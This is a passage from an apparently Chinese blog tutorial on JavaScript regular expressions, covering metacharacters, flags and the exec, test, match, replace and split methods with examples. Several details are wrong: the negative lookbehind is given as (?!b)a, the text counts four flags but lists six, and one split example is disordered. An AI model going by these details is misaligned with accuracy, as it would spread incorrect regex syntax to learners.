href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test"><code>test</code></a> 方法, 以及 <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/String"><code>String</code></a> 的 <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/match"><code>match</code></a>、<a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/matchAll"><code>matchAll</code></a>、<a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/replace"><code>replace</code></a>、<a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/search"><code>search</code></a> 和 <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/split"><code>split</code></a> 方法。</p><p><strong>元字符</strong></p><table><thead><tr><th>字符</th><th>说明</th><th>示例</th></tr></thead><tbody><tr><td>.</td><td>除了\n以外的任意的一个字符</td><td></td></tr><tr><td>[]</td><td>范围</td><td>[0-9] 表示：0到9之间的任意的一个数字<br />[a-z] 表示：所有的小写的字母中的任意的一个<br />[0-9a-zA-Z] 表示：所有的数字或者是字母中的一个</td></tr><tr><td>|</td><td>或者</td><td>[0-9]|[a-z]:  要么是一个数字，要么是一个小写字母</td></tr><tr><td>()</td><td>分组、提升优先级</td><td>[0-9] | ([a-z]) |  [A-Z]<br />([0-9])([1-5])([a-z]) 三组, 从最左边开始计算</td></tr><tr><td>*</td><td>前面的表达式出现了0次到多次</td><td>[a-z] [0-9]* 小写字母中的任意一个 后面是要么是没有数字的,要么是多个数字的</td></tr><tr><td>+</td><td>前面的表达式出现了1次到多次</td><td>[a-z] [9]+  小写字母一个后面最少一个9,或者多个9</td></tr><tr><td>?</td><td>前面的表达式出现了0次到1次(阻止贪婪模式)</td><td>[4] [a-z]? “1231234i”  i可以没有</td></tr><tr><td>{}</td><td>限定符 : 限定前面的表达式出现的次数</td><td>{0,} 表示的是前面的表达式出现了0次到多次,和 *一样的<br />{1,} 表示的是前面的表达式出现了1次到多次,和 +一样的<br />{0,1} 表示的是前面的表达式出现了0次到1次,和 ?一样的<br />{5,10} 表示的是前面的表达式出现了5次到10次<br />{4} 前面的表达式出现了4次<br />{  ,10} 错误的，不能这么写</td></tr><tr><td>^</td><td>以什么开始，或者是取非(取反)</td><td>^[0-9] 以数字开头<br />^[a-z] 以小写字母开始<br />[ ^ 0-9 ]  取反,非数字<br />[ ^ a-z ]   非小写字母</td></tr><tr><td>$</td><td>以什么结束</td><td>[0-9] [a-z]$  必须以小写字母结束</td></tr><tr><td>\d</td><td>数字中的一个</td><td>[0-9]，表示一位数字</td></tr><tr><td>\D</td><td>非数字</td><td>[^0-9]，除数字以外的任意字符</td></tr><tr><td>\s</td><td>空白符</td><td>[\t\v\n\r\f]，包含空格、水平制表、垂直制表、换行、回车、换页符</td></tr><tr><td>\S</td><td>非空白符</td><td>[^ \t\v\n\r\f]</td></tr><tr><td>\w</td><td>非特殊符号</td><td>[0-9a-zA-Z_]，表示数字、大小写字母和下划线</td></tr><tr><td>\W</td><td>特殊符号</td><td>[^0-9a-zA-Z_]，表示非单词字符</td></tr><tr><td>\b</td><td>单词的边界</td><td></td></tr></tbody></table><table><thead><tr><th>字符</th><th>说明</th><th>示例</th></tr></thead><tbody><tr><td>(a)</td><td></td><td></td></tr><tr><td>(?:a)</td><td></td><td></td></tr><tr><td>a(?=b)</td><td>匹配a后面有b</td><td></td></tr><tr><td>a(?!b)</td><td>匹配a后面没有b</td><td></td></tr><tr><td>(?&lt;=b)a</td><td>匹配a前面有b</td><td></td></tr><tr><td>(?!b)a</td><td>匹配a前面没有b</td><td></td></tr></tbody></table><p><strong>?=</strong>、<strong>?!</strong>、<strong>?&lt;=</strong> **? 用于限定它前后的表达式，不能单独使用，本身没有作用</p><p><strong>创建一个正则表达式</strong></p><p>1、使用正则表达式字面量，推荐</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> reg = <span class="regexp">/ab+c/</span>;</span><br></pre></td></tr></table></figure><p>2、使用RegExp对象的构造函数</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> reg = <span class="keyword">new</span> <span class="title class_">RegExp</span>(<span class="string">&quot;ab+c&quot;</span>);</span><br></pre></td></tr></table></figure><p><strong>正则表达式方法</strong></p><table><thead><tr><th align="left">方法</th><th align="left">描述</th></tr></thead><tbody><tr><td align="left"><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec"><code>exec</code></a></td><td align="left">一个在字符串中执行查找匹配的RegExp方法，它返回一个数组（未匹配到则返回 null）。</td></tr><tr><td align="left"><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test"><code>test</code></a></td><td align="left">一个在字符串中测试是否匹配的RegExp方法，它返回 true 或 false。</td></tr><tr><td align="left"><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/match"><code>match</code></a></td><td align="left">一个在字符串中执行查找匹配的String方法，它返回一个数组，在未匹配到时会返回 null。</td></tr><tr><td align="left"><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/matchAll"><code>matchAll</code></a></td><td align="left">一个在字符串中执行查找所有匹配的String方法，它返回一个迭代器（iterator）。</td></tr><tr><td align="left"><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/search"><code>search</code></a></td><td align="left">一个在字符串中测试匹配的String方法，它返回匹配到的位置索引，或者在失败时返回-1。</td></tr><tr><td align="left"><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/replace"><code>replace</code></a></td><td align="left">一个在字符串中执行查找匹配的String方法，并且使用替换字符串替换掉匹配到的子字符串。</td></tr><tr><td align="left"><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/split"><code>split</code></a></td><td align="left">一个使用正则表达式或者一个固定字符串分隔一个字符串，并将分隔后的子字符串存储到数组中的 <code>String</code> 方法。</td></tr></tbody></table><p><strong>正则表达式标志</strong></p><p>正则表达式有四个可选参数进行全局和不分大小写搜索。这些参数既可以单独使用也可以一起使用在任何顺序和包含正则表达式的部分中</p><table><thead><tr><th align="left">标志</th><th align="left">描述</th></tr></thead><tbody><tr><td align="left"><code>g</code></td><td align="left">全局搜索。</td></tr><tr><td align="left"><code>i</code></td><td align="left">不区分大小写搜索。</td></tr><tr><td align="left"><code>m</code></td><td align="left">多行搜索。</td></tr><tr><td align="left"><code>s</code></td><td align="left">允许 <code>.</code> 匹配换行符。</td></tr><tr><td align="left"><code>u</code></td><td align="left">使用unicode码的模式进行匹配。</td></tr><tr><td align="left"><code>y</code></td><td align="left">执行“粘性”搜索,匹配从目标字符串的当前位置开始，可以使用y标志。</td></tr></tbody></table><p><strong>示例</strong></p><blockquote><p><strong>exec()</strong></p></blockquote><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> reg = <span class="regexp">/d(b+)d/g</span>;</span><br><span class="line"><span class="keyword">var</span> res = reg.<span class="title function_">exec</span>(<span class="string">&quot;adbbdaaa&quot;</span>);</span><br><span class="line">res <span class="comment">// [&quot;dbbd&quot;, &quot;bb&quot;, index: 1, input: &quot;adbbdaaa&quot;, groups: undefined]</span></span><br></pre></td></tr></table></figure><blockquote><p><strong>test()</strong></p></blockquote><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> reg = <span class="regexp">/^\d&#123;1,5&#125;$/</span>;</span><br><span class="line"><span class="keyword">var</span> res = reg.<span class="title function_">test</span>(<span class="number">12345</span>);</span><br><span class="line">res <span class="comment">// true</span></span><br><span class="line"><span class="keyword">var</span> res2 = reg.<span class="title function_">test</span>(<span class="number">12345789</span>);</span><br><span class="line">res2 <span class="comment">// false</span></span><br></pre></td></tr></table></figure><blockquote><p><strong>match()</strong></p></blockquote><p><font style="color:red">注意：如果正则表达式不包含 g 标志，str.match()将返回与 RegExp.exec() 相同的结果</font></p><p>使用 match 查找 “Chapter” 紧跟着 1 个或多个数值字符，再紧跟着一个小数点和数值字符 0 次或多次。正则表达式包含 <code>i</code> 标志，因此大小写会被忽略</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> str = <span class="string">&#x27;For more information, see Chapter 3.4.5.1&#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> reg = <span class="regexp">/see (chapter \d+(\.\d)*)/i</span>;</span><br><span class="line"><span class="keyword">var</span> res = str.<span class="title function_">match</span>(reg);</span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(res);</span><br><span class="line"></span><br><span class="line"><span class="comment">// logs [ &#x27;see Chapter 3.4.5.1&#x27;,</span></span><br><span class="line"><span class="comment">//        &#x27;Chapter 3.4.5.1&#x27;,</span></span><br><span class="line"><span class="comment">//        &#x27;.1&#x27;,</span></span><br><span class="line"><span class="comment">//        index: 22,</span></span><br><span class="line"><span class="comment">//        input: &#x27;For more information, see Chapter 3.4.5.1&#x27; ]</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// &#x27;see Chapter 3.4.5.1&#x27; 是整个匹配。</span></span><br><span class="line"><span class="comment">// &#x27;Chapter 3.4.5.1&#x27; 被&#x27;(chapter \d+(\.\d)*)&#x27;捕获。</span></span><br><span class="line"><span class="comment">// &#x27;.1&#x27; 是被&#x27;(\.\d)&#x27;捕获的最后一个值。</span></span><br><span class="line"><span class="comment">// &#x27;index&#x27; 属性(22) 是整个匹配从零开始的索引。</span></span><br><span class="line"><span class="comment">// &#x27;input&#x27; 属性是被解析的原始字符串</span></span><br></pre></td></tr></table></figure><p><strong>match 使用全局（global）和忽略大小写（ignore case）标志</strong></p><p>match 使用 global 和 ignore case 标志。A-E、a-e 的所有字母将会作为一个数组的元素返回</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> str = <span class="string">&#x27;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz&#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> reg = <span class="regexp">/[A-E]/gi</span>;</span><br><span class="line"><span class="keyword">var</span> res = str.<span class="title function_">match</span>(reg);</span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(res);</span><br><span class="line"><span class="comment">// [&#x27;A&#x27;, &#x27;B&#x27;, &#x27;C&#x27;, &#x27;D&#x27;, &#x27;E&#x27;, &#x27;a&#x27;, &#x27;b&#x27;, &#x27;c&#x27;, &#x27;d&#x27;, &#x27;e&#x27;]</span></span><br></pre></td></tr></table></figure><p>没有使用全局g</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> str = <span class="string">&#x27;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz&#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> reg = <span class="regexp">/[A-E]/i</span>;</span><br><span class="line"><span class="keyword">var</span> res = str.<span class="title function_">match</span>(reg);</span><br><span class="line">res</span><br><span class="line"><span class="comment">// [&quot;A&quot;, index: 0, input: &quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz&quot;, groups: undefined]</span></span><br></pre></td></tr></table></figure><p><strong>一个非正则表达式对象作为参数</strong></p><p>当参数是一个字符串或一个数字，它会使用new RegExp(obj)来隐式转换成一个 <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/RegExp"><code>RegExp</code></a>。如果它是一个有正号的正数，RegExp() 方法将忽略正号</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> str1 = <span class="string">&quot;NaN means not a number. Infinity contains -Infinity and +Infinity in JavaScript.&quot;</span>,</span><br><span class="line">    str2 = <span class="string">&quot;My grandfather is 65 years old and My grandmother is 63 years old.&quot;</span>,</span><br><span class="line">    str3 = <span class="string">&quot;The contract was declared null and void.&quot;</span>;</span><br><span class="line">str1.<span class="title function_">match</span>(<span class="string">&quot;number&quot;</span>);   <span class="comment">// &quot;number&quot; 是字符串。返回[&quot;number&quot;]</span></span><br><span class="line">str1.<span class="title function_">match</span>(<span class="title class_">NaN</span>);        <span class="comment">// NaN的类型是number。返回[&quot;NaN&quot;]</span></span><br><span class="line">str1.<span class="title function_">match</span>(<span class="title class_">Infinity</span>);   <span class="comment">// Infinity的类型是number。返回[&quot;Infinity&quot;]</span></span><br><span class="line">str1.<span class="title function_">match</span>(+<span class="title class_">Infinity</span>);  <span class="comment">// 返回[&quot;Infinity&quot;]</span></span><br><span class="line">str1.<span class="title function_">match</span>(-<span class="title class_">Infinity</span>);  <span class="comment">// 返回[&quot;-Infinity&quot;]</span></span><br><span class="line">str2.<span class="title function_">match</span>(<span class="number">65</span>);         <span class="comment">// 返回[&quot;65&quot;]</span></span><br><span class="line">str2.<span class="title function_">match</span>(+<span class="number">65</span>);        <span class="comment">// 有正号的number。返回[&quot;65&quot;]</span></span><br><span class="line">str3.<span class="title function_">match</span>(<span class="literal">null</span>);       <span class="comment">// 返回[&quot;null&quot;]</span></span><br></pre></td></tr></table></figure><blockquote><p><strong>search()</strong></p></blockquote><p>一个在字符串中测试匹配的String方法，它返回匹配到的位置索引，或者在失败时返回-1</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> str = <span class="string">&#x27;hello world, how are you?&#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> reg = <span class="regexp">/[^\w\s]/g</span>; <span class="comment">// 非数字字母下划线空格</span></span><br><span class="line"><span class="keyword">var</span> res = str.<span class="title function_">search</span>(reg);</span><br><span class="line">res <span class="comment">// 11 逗号的索引是11</span></span><br></pre></td></tr></table></figure><blockquote><p><strong>replace()</strong></p></blockquote><p>方法返回一个由替换值（replacement）替换一些或所有匹配的模式（pattern）后的新字符串。模式可以是一个字符串或者一个正则表达式，替换值可以是一个字符串或者一个每次匹配都要调用的回调函数</p><p><font style="color:red">原字符串不会改变</font></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> str = <span class="string">&#x27;one dog, two dog, three dog&#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> reg = <span class="regexp">/dog/g</span>;</span><br><span class="line"><span class="keyword">var</span> res = str.<span class="title function_">replace</span>(reg, <span class="string">&#x27;cat&#x27;</span>);</span><br><span class="line">res <span class="comment">// &quot;one cat, two cat, three cat&quot;</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> str = <span class="string">&#x27;one dog, two dog, three dog&#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> res = str.<span class="title function_">replace</span>(<span class="string">&#x27;dog&#x27;</span>, <span class="string">&#x27;cat&#x27;</span>);</span><br><span class="line">res <span class="comment">// &quot;one cat, two dog, three dog&quot;</span></span><br></pre></td></tr></table></figure><p>replace 第二个参数可以是个函数</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">replacer</span>(<span class="params">match, p1, p2, p3, offset, string</span>) &#123;</span><br><span class="line">  <span class="comment">// p1 = 非数字, p2 = 数字,  p3 = 非数字、大小写字母和下划线</span></span><br><span class="line">  <span class="keyword">return</span> [p1, p2, p3].<span class="title function_">join</span>(<span class="string">&#x27; - &#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">var</span> newString = <span class="string">&#x27;abc12345#$*%&#x27;</span>.<span class="title function_">replace</span>(<span class="regexp">/([^\d]*)(\d*)([^\w]*)/</span>, replacer);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(newString);  <span class="comment">// abc - 12345 - #$*%</span></span><br></pre></td></tr></table></figure><p>在replace()中使用正则表达式</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> str = <span class="string">&#x27;Hello, One, Two, Three&#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> res = str.<span class="title function_">replace</span>(<span class="regexp">/two/i</span>, <span class="string">&#x27;One&#x27;</span>);</span><br><span class="line">res <span class="comment">// &quot;Hello, One, One, Three&quot;</span></span><br></pre></td></tr></table></figure><p>在 replace() 中使用 global 和 ignore 选项</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> str = <span class="string">&#x27;One Two Three one two three&#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> res = str.<span class="title function_">replace</span>(<span class="regexp">/one/gi</span>, <span class="string">&#x27;123&#x27;</span>);</span><br><span class="line">res <span class="comment">// &quot;123 Two Three 123 two three&quot;</span></span><br></pre></td></tr></table></figure><p>交换字符串中的两个单词</p><p>使用字符串作为参数</p><table><thead><tr><th>变量名</th><th>代表的值</th></tr></thead><tbody><tr><td><code>$$</code></td><td>插入一个 “$”。</td></tr><tr><td><code>$&amp;</code></td><td>插入匹配的子串。</td></tr><tr><td><code>$</code> `</td><td>插入当前匹配的子串左边的内容。</td></tr><tr><td><code>$&#39;</code></td><td>插入当前匹配的子串右边的内容。</td></tr><tr><td><code>$n</code></td><td>假如第一个参数是 <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/RegExp"><code>RegExp</code></a>对象，并且 n 是个小于100的非负整数，那么插入第 n 个括号匹配的字符串。提示：索引是从1开始</td></tr></tbody></table><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> str = <span class="string">&quot;John Smith&quot;</span>;</span><br><span class="line"><span class="keyword">var</span> reg = <span class="regexp">/(\w+)\s(\w+)/</span>;</span><br><span class="line"><span class="keyword">var</span> res = str.<span class="title function_">replace</span>(reg, <span class="string">&quot;$2, $1&quot;</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(res); <span class="comment">// Smith, John</span></span><br></pre></td></tr></table></figure><blockquote><p><strong>split()</strong></p></blockquote><p>方法使用指定的分隔符字符串将一个<a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/String"><code>String</code></a>对象分割成子字符串数组，以一个指定的分割字串来决定每个拆分的位置</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> str = <span class="string">&#x27;one two three&#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> res = str.<span class="title function_">split</span>(<span class="string">&#x27; &#x27;</span>); <span class="comment">// [&quot;one&quot;, &quot;two&quot;, &quot;three&quot;]</span></span><br><span class="line">res[<span class="number">2</span>] <span class="comment">// &quot;three&quot;</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> str = <span class="string">&#x27;one two three&#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> res = str.<span class="title function_">split</span>(<span class="string">&#x27;&#x27;</span>); <span class="comment">// [&quot;o&quot;, &quot;n&quot;, &quot;e&quot;, &quot; &quot;, &quot;t&quot;, &quot;w&quot;, &quot;o&quot;, &quot; &quot;, &quot;t&quot;, &quot;h&quot;, &quot;r&quot;, &quot;e&quot;, &quot;e&quot;]</span></span><br><span class="line">[<span class="number">2</span>] <span class="comment">// &quot;e&quot;</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> str = <span class="string">&#x27;one two three&#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> res = str.<span class="title function_">split</span>(); <span class="comment">// [&quot;one two three&quot;]</span></span><br></pre></td></tr></table></figure><p>移出字符串中的空格</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> names = <span class="string">&quot;Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ;Chris Hand &quot;</span>;</span><br><span class="line"><span class="keyword">var</span> reg = <span class="regexp">/\s*(?:;|$)\s*/</span>;</span><br><span class="line"><span class="keyword">var</span> nameList = names.<span class="title function_">split</span>(reg);</span><br><span class="line"></span><br><span class="line">nameList <span class="comment">// [&quot;Harry Trump&quot;, &quot;Fred Barney&quot;, &quot;Helen Rigby&quot;, &quot;Bill Abel&quot;, &quot;Chris Hand&quot;, &quot;&quot;]</span></span><br></pre></td></tr></table></figure><p>限制返回值中分割元素数量</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> str = <span class="string">&quot;Hello World. How are you doing?&quot;</span>;</span><br><span class="line"><span class="keyword">var</span> res = str.<span class="title function_">split</span>(<span class="string">&quot; &quot;</span>, <span class="number">3</span>);</span><br><span class="line"></span><br><span class="line">res <span class="comment">// [&quot;Hello&quot;, &quot;World.&quot;, &quot;How&quot;]</span></span><br></pre></td></tr></table></figure><p>靠正则来分割使结果中包含分隔块</p><p><code>如果 separator 包含捕获括号（capturing parentheses），则其匹配结果将会包含在返回的数组中</code></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> str = <span class="string">&quot;Hello 1 word. Sentence number 2.&quot;</span>;</span><br><span class="line"><span class="keyword">var</span> res = str.<span class="title function_">split</span>(<span class="regexp">/(\d)/</span>);</span><br><span class="line"></span><br><span class="line">res <span class="comment">// [&quot;Hello &quot;, &quot;1&quot;, &quot; word. Sentence number &quot;, &quot;2&quot;, &quot;.&quot;]</span></span><br></pre></td></tr></table></figure><p>使用一个数组来作为分隔符</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">lits = myString.<span class="title function_">split</span>([<span class="string">&#x27;|&#x27;</span>]);</span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(splits); <span class="comment">//[&quot;this&quot;, &quot;is&quot;, &quot;a&quot;, &quot;Test&quot;]</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> myString = <span class="string">&#x27;ca,bc,a,bca,bca,bc&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> splits = myString.<span class="title function_">split</span>([<span class="string">&#x27;a&#x27;</span>,<span class="string">&#x27;b&#x27;</span>]); </span><br><span class="line"><span class="comment">// myString.split([&#x27;a&#x27;,&#x27;b&#x27;]) is same as myString.split(String([&#x27;a&#x27;,&#x27;b&#x27;])) </span></span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(splits);  <span class="comment">//[&quot;c&quot;, &quot;c,&quot;, &quot;c&quot;, &quot;c&quot;, &quot;c&quot;]</span></span><br></pre></td></tr></table></figure><blockquote><p><strong>正则表达式字符匹配</strong></p></blockquote><p><strong>1.两种模糊匹配</strong></p><p>横向模糊匹配：即一个正则可匹配的字符串长度不固定，可以是多种情况</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">let</span> r = <span class="regexp">/ab&#123;2,5&#125;c/g</span>;</span><br><span class="line"><span class="keyword">let</span> s = <span class="string">&quot;abc abbc abbbc abbbbbbc&quot;</span>;</span><br><span class="line">s.<span class="title function_">match</span>(r); <span class="comment">// [&quot;abbc&quot;,&quot;abbbc&quot;]</span></span><br></pre></td></tr></table></figure><p>如 /ab{2,5}c/ 表示匹配： 第一个字符是 “a” ，然后是 2 - 5 个字符 “b” ，最后是字符 “c” ：</p><p>横向模糊匹配：即一个正则可匹配某个不确定的字符，可以有多种可能</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">let</span> r = <span class="regexp">/a[123]b/g</span>;</span><br><span class="line"><span class="keyword">let</span> s = <span class="string">&quot;a0b a1b a4b&quot;</span>;</span><br><span class="line">s.<span class="title function_">match</span>(r); <span class="comment">// [&quot;a1b&quot;]</span></span><br></pre></td></tr></table></figure><p><strong>匹配规则</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">[a-z] <span class="comment">// 匹配所有的小写字母 </span></span><br><span class="line">[A-Z] <span class="comment">// 匹配所有的大写字母 </span></span><br><span class="line">[a-zA-Z] <span class="comment">// 匹配所有的字母 </span></span><br><span class="line">[<span class="number">0</span>-<span class="number">9</span>] <span class="comment">// 匹配所有的数字 </span></span><br><span class="line">[<span class="number">0</span>-<span class="number">9</span>\.\-] <span class="comment">// 匹配所有的数字，句号和减号</span></span><br><span class="line">[\f\r\t\n] <span class="comment">// 匹配所有的白字符</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">^[a-z][<span class="number">0</span>-<span class="number">9</span>]$ <span class="comment">// 匹配一个由一个小写字母和一位数字组成的字符串,比如&quot;z2&quot;、&quot;t6&quot;或&quot;g7&quot;,但不是&quot;ab2&quot;、&quot;r2d3&quot; 或&quot;b52&quot;</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">^[^<span class="number">0</span>-<span class="number">9</span>][<span class="number">0</span>-<span class="number">9</span>]$ <span class="comment">// 这个模式与&quot;&amp;5&quot;、&quot;g7&quot;及&quot;-2&quot;是匹配的，但与&quot;12&quot;、&quot;66&quot;是不匹配的</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">[^a-z] <span class="comment">//除了小写字母以外的所有字符 </span></span><br><span class="line">[^\\\/\^] <span class="comment">//除了(\)(/)(^)之外的所有字符 </span></span><br><span class="line">[^\<span class="string">&quot;\&#x27;] //除了双引号(&quot;</span>)和单引号(<span class="string">&#x27;)之外的所有字符</span></span><br></pre></td></tr></table></figure><table><thead><tr><th align="left">字符簇</th><th align="left">描述</th></tr></thead><tbody><tr><td align="left">^[a-zA-Z_]$</td><td align="left">所有的字母和下划线</td></tr><tr><td align="left">^[[:alpha:]]{3}$</td><td align="left">所有的3个字母的单词</td></tr><tr><td align="left">^a$</td><td align="left">字母a</td></tr><tr><td align="left">^a{4}$</td><td align="left">aaaa</td></tr><tr><td align="left">^a{2,4}$</td><td align="left">aa,aaa或aaaa</td></tr><tr><td align="left">^a{1,3}$</td><td align="left">a,aa或aaa</td></tr><tr><td align="left">^a{2,}$</td><td align="left">包含多于两个a的字符串</td></tr><tr><td align="left">^a{2,}</td><td align="left">如：aardvark和aaab，但apple不行</td></tr><tr><td align="left">a{2,}</td><td align="left">如：baad和aaa，但Nantucket不行</td></tr><tr><td align="left">\t{2}</td><td align="left">两个制表符</td></tr><tr><td align="left">.{2}</td><td align="left">所有的两个字符</td></tr></tbody></table><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">^[a-zA-<span class="variable constant_">Z0</span>-9_]&#123;<span class="number">1</span>,&#125;$ <span class="comment">//所有包含一个以上的字母、数字或下划线的字符串 </span></span><br><span class="line">^[<span class="number">0</span>-<span class="number">9</span>]&#123;<span class="number">1</span>,&#125;$ <span class="comment">//所有的正数 </span></span><br><span class="line">^\-&#123;<span class="number">0</span>,<span class="number">1</span>&#125;[<span class="number">0</span>-<span class="number">9</span>]&#123;<span class="number">1</span>,&#125;$ <span class="comment">//所有的整数 </span></span><br><span class="line">^\-&#123;<span class="number">0</span>,<span class="number">1</span>&#125;[<span class="number">0</span>-<span class="number">9</span>]&#123;<span class="number">0</span>,&#125;\.&#123;<span class="number">0</span>,<span class="number">1</span>&#125;[<span class="number">0</span>-<span class="number">9</span>]&#123;<span class="number">0</span>,&#125;$ <span class="comment">//所有的小数</span></span><br></pre></td></tr></table></figure><p>与所有以一个可选的负号(-{0,1})开头(^)、跟着0个或更多的数字([0-9]{0,})、和一个可选的小数点(.{0,1})再跟上0个或多个数字([0-9]{0,})，并且没有其他任何东西($)。下面你将知道能够使用的更为简单的方法。</p><p>特殊字符”?”与{0,1}是相等的，它们都代表着：”0个或1个前面的内容”或”前面的内容是可选的”。所以刚才的例子可以简化为</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">^\-?[<span class="number">0</span>-<span class="number">9</span>]&#123;<span class="number">0</span>,&#125;\.?[<span class="number">0</span>-<span class="number">9</span>]&#123;<span class="number">0</span>,&#125;$</span><br></pre></td></tr></table></figure><p> 特殊字符”*”与{0,}是相等的，它们都代表着”0个或多个前面的内容”。最后，字符”+”与 {1,}是相等的，表示”1个或多个前面的内容”，所以上面的4个例子可以写成 </p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">^[a-zA-<span class="variable constant_">Z0</span>-9_]+$ <span class="comment">//所有包含一个以上的字母、数字或下划线的字符串 </span></span><br><span class="line">^[<span class="number">0</span>-<span class="number">9</span>]+$ <span class="comment">//所有的正数 </span></span><br><span class="line">^\-?[<span class="number">0</span>-<span class="number">9</span>]+$ <span class="comment">//所有的整数 </span></span><br><span class="line">^\-?[<span class="number">0</span>-<span class="number">9</span>]*\.?[<span class="number">0</span>-<span class="number">9</span>]*$ <span class="comment">//所有的小数</span></span><br></pre></td></tr></table></figure><p><strong>创建正则表达式对象</strong></p><p><strong>1.通过构造函数创建对象</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> reg=<span class="keyword">new</span> <span class="title class_">RegExp</span>(<span class="regexp">/\d&#123;5&#125;/</span>);</span><br><span class="line"><span class="keyword">var</span> str=<span class="string">&quot;我的电话是10086&quot;</span>;</span><br><span class="line"><span class="keyword">var</span> flag=reg.<span class="title function_">test</span>(str);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(flag);<span class="comment">//true</span></span><br></pre></td></tr></table></figure><p><strong>2.字面量的方式创建对象</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> reg=<span class="regexp">/\d&#123;1,5&#125;/</span>;</span><br><span class="line"><span class="keyword">var</span> flag=reg.<span class="title function_">test</span>(<span 